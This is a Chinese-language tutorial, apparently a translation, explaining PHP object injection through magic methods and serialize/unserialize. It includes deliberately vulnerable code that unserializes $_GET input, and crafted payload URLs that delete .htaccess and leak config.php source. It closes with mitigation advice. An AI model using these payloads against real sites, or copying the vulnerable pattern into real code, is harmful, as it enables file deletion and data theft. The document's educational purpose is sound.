詳析php對象注入漏洞

作者：路人甲 2015-02-04 14:50:29

安全漏洞

php對象注入是一個非常常見的漏洞，這個類型的漏洞雖然有些難以利用，但仍舊非常危險，為了理解這個漏洞，請讀者具備基礎的php知識。

0x00 背景

php對象注入是一個非常常見的漏洞，這個類型的漏洞雖然有些難以利用，但仍舊非常危險，為了理解這個漏洞，請讀者具備基礎的php知識。

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0x01 漏洞案例

如果你覺得這是個渣渣洞，那么請看一眼這個列表，一些被挖到過該漏洞的系統，你可以發現都是一些耳熟能詳的玩意(就國外來說)

除此之外等等一堆系統，八成可能大概在這些還有其他的php程序中還有很多這種類型的漏洞，所以不妨考慮坐下喝杯咖啡并且試著去理解這篇文章。

0x01 PHP類和對象

類和變量是非常容易理解的php概念，打個比方，下面的代碼在一個類中定義了一個變量和一個方法。

<?php  
   
class TestClass  
{  
    // 一個變量  
   
    public $variable = 'This is a string';  
   
    // 一個簡單的方法  
   
    public function PrintVariable()  
    {  
        echo $this->variable;  
    }  
}  
   
// 創建一個對象  
   
$object = new TestClass();  
   
// 調用一個方法  
   
$object->PrintVariable();  
   
?>

它創建了一個對象并且調用了 PrintVariable 函數，該函數會輸出變量 variable。

如果想了解更多關于php面向對象編程的知識請點： http://php.net/manual/zh/language.oop5.php

0x02 php magic方法

php類可能會包含一些特殊的函數叫magic函數，magic函數命名是以符號“__”開頭的，比如 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。

這些函數在某些情況下會自動調用，比如:

__construct 當一個對象創建時調用 (constructor) __destruct 當一個對象被銷毀時調用 (destructor) __ toString當一個對象被當作一個字符串使用

為了更好的理解magic方法是如何工作的，讓我們添加一個magic方法在我們的類中。

<?php  
   
class TestClass  
{  
    // 一個變量  
   
    public $variable = 'This is a string';  
   
    // 一個簡單的方法  
   
    public function PrintVariable()  
    {  
        echo $this->variable . '<br />';  
    }  
   
    // Constructor  
   
    public function __construct()  
    {  
        echo '__construct <br />';  
    }  
   
    // Destructor  
   
    public function __destruct()  
    {  
        echo '__destruct <br />';  
    }  
   
    // Call  
   
    public function __toString()  
    {  
        return '__toString<br />';  
    }  
}  
   
// 創建一個對象  
//  __construct會被調用  
   
$object = new TestClass();  
   
// 創建一個方法  
//  'This is a string’ 這玩意會被輸出  
   
$object->PrintVariable();  
   
// 對象被當作一個字符串  
//  __toString 會被調用  
   
echo $object;  
   
// End of PHP script  
// php腳本要結束了， __destruct會被調用  
   
?>

我們往里頭放了三個 magic方法，__construct, __destruct和 __toString，你可以看出來，__construct在對象創建時調用， __destruct在php腳本結束時調用，__toString在對象被當作一個字符串使用時調用。

這個腳本會輸出這狗樣：

__construct

This is a string

__toString

__destruct

這只是一個簡單的例子，如果你想了解更多有關magic函數的例子，請點擊下面的鏈接：

http://php.net/manual/zh/language.oop5.magic.php

0x03 php對象序列化

php允許保存一個對象方便以后重用，這個過程被稱為序列化，打個比方，你可以保存一個包含著用戶信息的對象方便等等重用。

為了序列化一個對象，你需要調用 “serialize”函數，函數會返回一個字符串，當你需要用到這個對象的時候可以使用“unserialize”去重建對象。

讓我們在序列化丟進那個例子，看看序列化長什么樣。

<?php  
   
// 某類  
   
class User  
{  
    // 類數據  
   
    public $age = 0;  
    public $name = '';  
   
    // 輸出數據  
   
    public function PrintData()  
    {  
        echo 'User ' . $this->name . ' is ' . $this->age  
             . ' years old. <br />';  
    }  
}  
   
// 創建一個對象  
   
$usr = new User();  
   
// 設置數據  
   
$usr->age = 20;  
$usr->name = 'John';  
   
// 輸出數據  
   
$usr->PrintData();  
   
// 輸出序列化之后的數據  
   
echo serialize($usr);  
   
?>

它會輸出

User John is 20 years old.

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

你可以看到序列化之后的數據中有 20和John，其中沒有任何跟類有關的東西，只有其中的數據被數據化。

為了使用這個對象，我們用unserialize重建對象。

<?php  
   
// 某類  
   
class User  
{  
    // Class data  
   
    public $age = 0;  
    public $name = '';  
   
    // Print data  
   
    public function PrintData()  
    {  
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
    }  
}  
   
// 重建對象  
   
$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');  
   
// 調用PrintData 輸出數據  
   
$usr->PrintData();  
   
?>

這會輸出

User John is 20 years old

0x04 序列化magic函數

magic函數constructor (__construct)和 destructor (__destruct) 是會在對象創建或者銷毀時自動調用，其他的一些magic函數會在serialize 或者 unserialize的時候被調用。

__sleep magic方法在一個對象被序列化的時候調用。 __wakeup magic方法在一個對象被反序列化的時候調用。

注意 __sleep 必須返回一個數組與序列化的變量名。

<?php  
   
class Test  
{  
    public $variable = 'BUZZ';  
    public $variable2 = 'OTHER';  
   
    public function PrintVariable()  
    {  
        echo $this->variable . '<br />';  
    }  
   
    public function __construct()  
    {  
        echo '__construct<br />';  
    }  
   
    public function __destruct()  
    {  
        echo '__destruct<br />';  
    }  
   
    public function __wakeup()  
    {  
        echo '__wakeup<br />';  
    }  
   
    public function __sleep()  
    {  
        echo '__sleep<br />';  
   
        return array('variable', 'variable2');  
    }  
}  
   
// 創建一個對象，會調用 __construct  
   
$obj = new Test();  
   
// 序列化一個對象，會調用 __sleep  
   
$serialized = serialize($obj);  
   
//輸出序列化后的字符串  
   
print 'Serialized: ' . $serialized . <br />';  
   
// 重建對象，會調用 __wakeup  
   
$obj2 = unserialize($serialized);  
   
//調用 PintVariable, 會輸出數據 (BUZZ)  
   
$obj2->PrintVariable();  
   
// php腳本結束，會調用 __destruct   
   
?>

這玩意會輸出：

__construct

__sleep

Serialized: O:4:"Test":2:

{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";}

__wakeup

BUZZ

__destruct

你可以看到，我們創建了一個對象，序列化了它(然后__sleep被調用)，之后用序列化對象重建后的對象創建了另一個對象，接著php腳本結束的時候兩個對象的__destruct都會被調用。

更多相關的內容

http://php.net/manual/zh/language.oop5.serialization.php

0x05 php對象注入

現在我們理解了序列化是如何工作的，我們該如何利用它?事實上，利用這玩意的可能性有很多種，關鍵取決于應用程序的流程與，可用的類，與magic函數。

記住序列化對象的值是可控的。

你可能會找到一套web程序的源代碼，其中某個類的__wakeup 或者 __destruct and其他亂七八糟的函數會影響到web程序。

打個比方，我們可能會找到一個類用于臨時將日志儲存進某個文件，當__destruct被調用時，日志文件會被刪除。

<?php   
   
class LogFile  
{  
    // log文件名  
   
    public $filename = 'error.log';  
   
    // 某代碼，儲存日志進文件  
   
    public function LogData($text)  
    {  
        echo 'Log some data: ' . $text . '<br />';  
        file_put_contents($this->filename, $text, FILE_APPEND);  
    }  
   
    // Destructor 刪除日志文件  
   
    public function __destruct()  
    {  
        echo '__destruct deletes "' . $this->filename . '" file. <br />';  
        unlink(dirname(__FILE__) . '/' . $this->filename);  
    }  
}  
   
?>

某例子關于如何使用這個類

<?php  
   
include 'logfile.php';  
   
// 創建一個對象  
   
$obj = new LogFile();  
   
// 設置文件名和要儲存的日志數據  
   
$obj->filename = 'somefile.log';  
$obj->LogData('Test');  
   
// php腳本結束啦，__destruct被調用，somefile.log文件被刪除。  
   
?>

在其他的腳本，我們可能又恰好找到一個調用“unserialize”函數的，并且恰好變量是用戶可控的，又恰好是$_GET之類的。

<?php  
   
include 'logfile.php';  
   
// ... 一些狗日的代碼和 LogFile 類 ...  
   
// 簡單的類定義  
   
class User  
{  
    // 類數據  
   
    public $age = 0;  
    public $name = '';  
   
    // 輸出數據  
   
    public function PrintData()  
    {  
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
    }  
}  
   
// 重建 用戶輸入的 數據  
   
$usr = unserialize($_GET['usr_serialized']);  
   
?>

你看，這個代碼調用了 “LogClass” 類，并且有一個 “unserialize” 值是我們可以注入的。

所以構造類似這樣的東西：

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

究竟發生了什么呢，因為輸入是可控的，所以我們可以構造任意的序列化對象，比如：

<?php  
   
$obj = new LogFile();  
$obj->filename = '.htaccess';  
   
echo serialize($obj) . '<br />';  
   
?>

這個會輸出

O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}

__destruct deletes ".htaccess" file.

現在我們將構造過后的序列化對象發送給剛才的腳本：

script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}

這會輸出

__destruct deletes ".htaccess" file.

現在 .htaccess 已經被干掉了，因為腳本結束時 __destruct會被調用。不過我們已經可以控制“LogFile”類的變量啦。

這就是漏洞名稱的由來：變量可控并且進行了unserialize操作的地方注入序列化對象，實現代碼執行或者其他坑爹的行為。

雖然這不是一個很好的例子，不過我相信你可以理解這個概念，unserialize自動調用 __wakeup 和 __destruct，接著攻擊者可以控制類變量，并且攻擊web程序。

0x06 常見的注入點

先不談 __wakeup 和 __destruct，還有一些很常見的注入點允許你利用這個類型的漏洞，一切都是取決于程序邏輯。

打個比方，某用戶類定義了一個__toString為了讓應用程序能夠將類作為一個字符串輸出(echo $obj) ,而且其他類也可能定義了一個類允許__toString讀取某個文件。

<?php   
   
// … 一些include ...  
   
class FileClass  
{  
    // 文件名  
   
    public $filename = 'error.log';  
   
    //當對象被作為一個字符串會讀取這個文件  
   
    public function __toString()  
    {  
        return file_get_contents($this->filename);  
    }  
}  
   
// Main User class  
   
class User  
{  
    // Class data  
   
    public $age = 0;  
    public $name = '';  
   
    // 允許對象作為一個字符串輸出上面的data  
   
    public function __toString()  
    {  
        return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
    }  
}  
   
// 用戶可控  
   
$obj = unserialize($_GET['usr_serialized']);  
   
// 輸出 __toString  
   
echo $obj;  
   
?>

so,我們構造url

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

再想想，如果我們用序列化調用 FileClass呢

我們創建利用代碼

<?php  
   
$fileobj = new FileClass();  
$fileobj->filename = 'config.php';  
   
echo serialize($fileobj);  
   
?>

接著用生成的exp注入url

script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}

接著網頁會輸出 config.php的源代碼

<?php   
$private_data = 'MAGIC';   
?>

ps:我希望這讓你能夠理解。

0x07 其他的利用方法

可能其他的一些magic函數海存在利用點：比如__call 會在對象調用不存在的函數時調用，__get 和 __set會在對象嘗試訪問一些不存在的類，變量等等時調用。

不過需要注意的是，利用場景不限于magic函數，也有一些方式可以在一半的函數中利用這個漏洞，打個比方，一個模塊可能定義了一個叫get的函數進行一些敏感的操作，比如訪問數據庫，這就可能造成sql注入，取決于函數本身的操作。

唯一的一個技術難點在于，注入的類必須在注入點所在的地方，不過一些模塊或者腳本會使用“autoload”的功能，具體可以在這里了解

http://php.net/manual/zh/language.oop5.autoload.php

0x08 如何利用或者避免這個漏洞

別在任何用戶可控的地方使用“unserialize”，可以考慮“json_decode“

0x09 結論

雖然很難找到而且很難利用，但是這真的真的很嚴重，可以導致各種各樣的漏洞。

原文:http://securitycafe.ro/2015/01/05/understanding-php-object-injection/

責任編輯：藍雨淚來源：烏云知識庫

php對象注入漏洞